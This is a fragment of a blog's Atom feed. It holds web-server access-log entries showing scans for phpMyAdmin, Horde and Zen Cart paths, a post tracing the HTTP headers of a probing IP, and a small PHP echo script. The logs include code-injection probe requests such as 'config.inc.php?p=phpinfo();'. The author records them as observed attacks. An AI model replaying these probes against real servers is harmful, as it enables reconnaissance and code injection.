64.120.149.53 - - [31/Dec/2009:18:53:26 -0800] "GET /phpMyAdmin/index.php HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:26 -0800] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:25 -0800] "GET /phpmyadmin/index.php HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:23 -0800] "GET /phpmyadmin/index.php HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:23 -0800] "GET /sqlweb/index.php HTTP/1.1" 404 214

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:23 -0800] "GET /phpMyAdmin-2.2.3/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:22 -0800] "GET /admin/websql/index.php HTTP/1.1" 404 220

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:22 -0800] "GET /admin/web/index.php HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:22 -0800] "GET /PMA/index.php HTTP/1.1" 404 211

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:22 -0800] "GET /webdb/index.php HTTP/1.1" 404 213

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:21 -0800] "GET /mysql-admin/index.php HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:21 -0800] "GET /admin/phpMyAdmin-2.2.6/index.php HTTP/1.1" 404 230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:21 -0800] "GET /phpMyAdmin-2.6.0/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:21 -0800] "GET /web/index.php HTTP/1.1" 404 211

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:21 -0800] "GET /phpMyAdmin-2.6.3/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:20 -0800] "GET /phpMyAdmin-2.5.1/index.php HTTP/1.1" 404 224

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:20 -0800] "GET /admin/database/index.php HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:20 -0800] "GET /phpmyadmin2/index.php HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:20 -0800] "GET /admin/webadmin/index.php HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:19 -0800] "GET /admin/phpMyAdmin-2.5.1/index.php HTTP/1.1" 404 230

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
64.120.149.53 - - [31/Dec/2009:18:53:19 -0800] "GET /admin/mysql/index.php HTTP/1.1" 404 219

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
98.199.215.83 - - [31/Dec/2009:15:55:09 -0800] "GET /obama_cyborg.gif HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
129.215.83.157 - - [29/Dec/2009:13:29:13 -0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
129.215.83.157 - - [29/Dec/2009:13:29:12 -0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
129.215.83.157 - - [29/Dec/2009:13:28:32 -0800] "GET //phpmyadmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
129.215.83.157 - - [29/Dec/2009:13:28:31 -0800] "GET //phpMyAdmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.84.207.147 - - [28/Dec/2009:20:37:29 -0800] "GET / HTTP/1.1" 206 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.167.144.224 - - [28/Dec/2009:07:25:13 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:37 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:37 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:36 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:34 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:34 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:33 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:32 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:32 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:31 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
81.1.194.2 - - [28/Dec/2009:03:54:30 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
76.251.208.237 - - [26/Dec/2009:15:18:44 -0800] "GET /obama_cyborg.gif HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
86.55.8.118 - - [25/Dec/2009:19:51:32 -0800] "GET /Horde//README HTTP/1.1" 404 211

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
86.55.8.118 - - [25/Dec/2009:19:51:32 -0800] "GET /horde-3.0.9//README HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
86.55.8.118 - - [25/Dec/2009:19:51:31 -0800] "GET /horde3//README HTTP/1.1" 404 212

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
86.55.8.118 - - [25/Dec/2009:19:51:31 -0800] "GET /horde2//README HTTP/1.1" 404 212

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
86.55.8.118 - - [25/Dec/2009:19:51:30 -0800] "GET /horde//README HTTP/1.1" 404 211

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
86.55.8.118 - - [25/Dec/2009:19:51:29 -0800] "GET //README HTTP/1.1" 404 204

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
65.97.153.134 - - [25/Dec/2009:10:05:34 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
71.176.20.82 - - [23/Dec/2009:22:09:21 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
98.245.116.2 - - [23/Dec/2009:12:02:16 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
98.245.116.2 - - [23/Dec/2009:12:01:54 -0800] "GET /global_files/css/site.css HTTP/1.1" 200 229

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
98.245.116.2 - - [23/Dec/2009:12:01:54 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.181.175.210 - - [22/Dec/2009:20:55:26 -0800] "GET /obama_cyborg.gif HTTP/1.1" 206 29531

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
70.181.175.210 - - [22/Dec/2009:20:55:20 -0800] "GET /obama_cyborg.gif HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
66.46.52.250 - - [22/Dec/2009:18:08:25 -0800] "GET //phpMyAdmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
66.46.52.250 - - [22/Dec/2009:17:57:53 -0800] "GET //phpmyadmin//scripts/setup.php HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.64.52.123 - - [22/Dec/2009:10:55:44 -0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.64.52.123 - - [22/Dec/2009:10:55:43 -0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.64.52.123 - - [22/Dec/2009:10:55:34 -0800] "GET //phpmyadmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
69.64.52.123 - - [22/Dec/2009:10:55:34 -0800] "GET //phpMyAdmin/ HTTP/1.1" 200 8861

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.211.249.10 - - [22/Dec/2009:09:50:02 -0800] "GET / HTTP/1.1" 200 982

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.70.141.37 - - [21/Dec/2009:16:46:08 -0800] "GET /obama_cyborg.gif HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
216.82.241.35 - - [21/Dec/2009:12:20:50 -0800] "GET /obama_cyborg.gif HTTP/1.0" 304 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
173.55.240.8 - - [21/Dec/2009:04:23:36 -0800] "GET /obama_cyborg.gif HTTP/1.1" 200 33899

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.86.110.124 - - [20/Dec/2009:19:16:25 -0800] "GET /store/includes/general.js HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.86.110.124 - - [20/Dec/2009:19:16:25 -0800] "GET /shop/includes/general.js HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.86.110.124 - - [20/Dec/2009:19:16:25 -0800] "GET /cart/includes/general.js HTTP/1.1" 404 222

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.86.110.124 - - [20/Dec/2009:19:16:24 -0800] "GET /zen-cart/includes/general.js HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.86.110.124 - - [20/Dec/2009:19:16:24 -0800] "GET /zencart/includes/general.js HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.86.110.124 - - [20/Dec/2009:19:16:23 -0800] "GET /zen/includes/general.js HTTP/1.1" 404 221

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.86.110.124 - - [20/Dec/2009:19:16:23 -0800] "GET /includes/general.js HTTP/1.1" 404 217

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
88.86.110.124 - - [20/Dec/2009:19:16:23 -0800] "GET HTTP/1.1 HTTP/1.1" 400 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:12 -0800] "GET //p/m/a/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:12 -0800] "GET //phpMyAdmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:12 -0800] "GET //PHPMYADMIN/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:11 -0800] "GET //myadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:11 -0800] "GET //php-my-admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 232

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:11 -0800] "GET //mysql/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:11 -0800] "GET //dbadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 227

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:10 -0800] "GET //admin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 225

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:09 -0800] "GET //pma/config/config.inc.php?p=phpinfo(); HTTP/1.1" 404 223

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
75.148.211.109 - - [20/Dec/2009:18:37:09 -0800] "GET //phpmyadmin/config/config.inc.php?p=phpinfo(); HTTP/1.1" 200 -

&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-1658349450051720248?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/1658349450051720248/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=1658349450051720248' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1658349450051720248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1658349450051720248'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2010/02/chinese-ip-numbers-hit-me-looking-for.html' title='Chinese IP numbers hit me looking for phpMyAdmin vulnerabilities'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-3397908603643278486</id><published>2010-02-07T06:04:00.000-08:00</published><updated>2011-06-24T05:03:14.172-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='chinese hackers'/><category scheme='http://www.blogger.com/atom/ns#' term='sharecrawler'/><title type='text'>Fun with Chinese Hackers and Cyber-security</title><content type='html'>Today I was looking at my web server access logs and saw this interesting line:
&lt;pre&gt;
125.65.112.161 - - [06/Feb/2010:06:43:21 -0800] "GET http://proxyjudge1.proxyfire.net/fastenv HTTP/1.1" 404 205
&lt;/pre&gt;
&lt;p&gt;
I dumped their 125.65.112.161 into my &lt;a href="http://code.google.com/p/shiny-sharecrawler/"&gt;Shiny.&lt;i&gt;Sharecrawler&lt;/i&gt;&lt;/a&gt; to see what their server sent in the request header, and got an interesting surprise by seeing links to cyberpolice.cn. 
&lt;p&gt;
&lt;p&gt;
125.65.112.161 = &amp;gt; http://www.zhaopin.com =&amp;gt; http://www.bj.cyberpolice.cn/index.htm
&lt;/p&gt;

&lt;h3&gt;self.response_headers:&lt;/h3&gt;
&lt;div class="parentchild"&gt; &amp;#160;&amp;#160;
 &lt;span class="parentchild"&gt;&lt;a href="http://125.65.112.161"&gt;http://125.65.112.161&lt;/a&gt;&lt;/span&gt;
:&lt;br /&gt;

content-length &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; 19337
&lt;br /&gt;

x-powered-by &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; ASP.NET
&lt;br /&gt;

set-cookie &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; ASPSESSIONIDQSCCRRSR=IOHPECGDONPPCCHEFBOPIMCI; path=/
&lt;br /&gt;

server &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Microsoft-IIS/6.0
&lt;br /&gt;

connection &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; close
&lt;br /&gt;

cache-control &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; private
&lt;br /&gt;

date &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Sun, 07 Feb 2010 13:48:13 GMT
&lt;br /&gt;

content-type &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; text/html
&lt;br /&gt;

&lt;/div&gt;


&lt;div class="parentchild"&gt; &amp;#160;&amp;#160;
 &lt;span class="parentchild"&gt;&lt;a href="http://www.zhaopin.com"&gt;http://www.zhaopin.com&lt;/a&gt;&lt;/span&gt;
:&lt;br /&gt;

content-length &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; 146757
&lt;br /&gt;

x-cache &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; HIT from cache75
&lt;br /&gt;

accept-ranges &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; bytes
&lt;br /&gt;

server &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Apache
&lt;br /&gt;

x-cache-lookup &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; HIT from cache75:80
&lt;br /&gt;

last-modified &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Sun, 07 Feb 2010 12:43:33 GMT
&lt;br /&gt;

connection &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; keep-alive
&lt;br /&gt;

etag &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; "5c4017-23d45-8508740"
&lt;br /&gt;

date &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Sun, 07 Feb 2010 13:47:59 GMT
&lt;br /&gt;

content-type &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; text/html
&lt;br /&gt;

age &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; 28
&lt;br /&gt;

&lt;/div&gt;


&lt;div class="parentchild"&gt; &amp;#160;&amp;#160;
 &lt;span class="parentchild"&gt;&lt;a href="http://www.bj.cyberpolice.cn"&gt;http://www.bj.cyberpolice.cn&lt;/a&gt;&lt;/span&gt;
:&lt;br /&gt;

content-length &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; 20242
&lt;br /&gt;

server &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Apache Coyote/1.0
&lt;br /&gt;

last-modified &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Wed, 24 Oct 2007 08:39:08 GMT
&lt;br /&gt;

connection &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; close
&lt;br /&gt;

etag &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; W/"20242-1193215148000"
&lt;br /&gt;

date &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Sun, 07 Feb 2010 15:50:51 GMT
&lt;br /&gt;

content-type &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; text/html
&lt;br /&gt;

&lt;/div&gt;

&lt;a href="#top" title="top"&gt;&amp;lt;top&amp;gt;&lt;/a&gt;&amp;#160; &amp;#160;
&lt;div class="parentchild"&gt; &amp;#160;&amp;#160;
 &lt;span class="parentchild"&gt;&lt;a href="http://online.rising.com.cn"&gt;http://online.rising.com.cn&lt;/a&gt;&lt;/span&gt;
:&lt;br /&gt;

content-length &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; 13643
&lt;br /&gt;

x-powered-by &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; ASP.NET
&lt;br /&gt;

set-cookie &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; ASPSESSIONIDSSDATCQA=LKHKDGFDAGOEEHEDBPADEKFO; path=/
&lt;br /&gt;

server &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Microsoft-IIS/6.0
&lt;br /&gt;

connection &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; close
&lt;br /&gt;

cache-control &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; private
&lt;br /&gt;

date &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Sun, 07 Feb 2010 13:48:40 GMT
&lt;br /&gt;

content-type &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; text/html
&lt;br /&gt;

&lt;/div&gt;

&lt;a href="#top" title="top"&gt;&amp;lt;top&amp;gt;&lt;/a&gt;&amp;#160; &amp;#160;
&lt;div class="parentchild"&gt; &amp;#160;&amp;#160;
 &lt;span class="parentchild"&gt;&lt;a href="http://mailcenter.rising.com.cn"&gt;http://mailcenter.rising.com.cn&lt;/a&gt;&lt;/span&gt;
:&lt;br /&gt;

content-length &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; 306
&lt;br /&gt;

content-location &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; http://mailcenter.rising.com.cn/index.htm
&lt;br /&gt;

x-powered-by &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; ASP.NET
&lt;br /&gt;

accept-ranges &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; bytes
&lt;br /&gt;

server &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Microsoft-IIS/6.0
&lt;br /&gt;

last-modified &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Tue, 01 Jul 2008 05:39:27 GMT
&lt;br /&gt;

connection &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; close
&lt;br /&gt;

etag &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; "f8b8bbd33cdbc81:1cb1"
&lt;br /&gt;

date &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; Sun, 07 Feb 2010 13:43:29 GMT
&lt;br /&gt;

content-type &amp;#160;&lt;span style="color:#FFFFFF"&gt;=&amp;gt;&lt;/span&gt;&amp;#160; text/html
&lt;br /&gt;

&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-3397908603643278486?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/3397908603643278486/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=3397908603643278486' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3397908603643278486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3397908603643278486'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2010/02/fun-with-chinese-hackers-and-cyber.html' title='Fun with Chinese Hackers and Cyber-security'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6917494211656565323</id><published>2009-12-03T04:32:00.000-08:00</published><updated>2009-12-03T04:33:01.902-08:00</updated><title type='text'>PHP Content-type: text/plain for Ajax</title><content type='html'>&lt;pre&gt;
&amp;#60;?php

header('Content-type: text/plain');
if (!$_POST &amp;&amp; !$_GET)  { print "\nhello\n";}
if ($_GET['test'] || $_POST['test'] ) {
print_r($_POST);
print_r($_GET);
}

?&amp;#62;
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6917494211656565323?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6917494211656565323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6917494211656565323' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6917494211656565323'/><link rel='self' type='application/atom+xml' 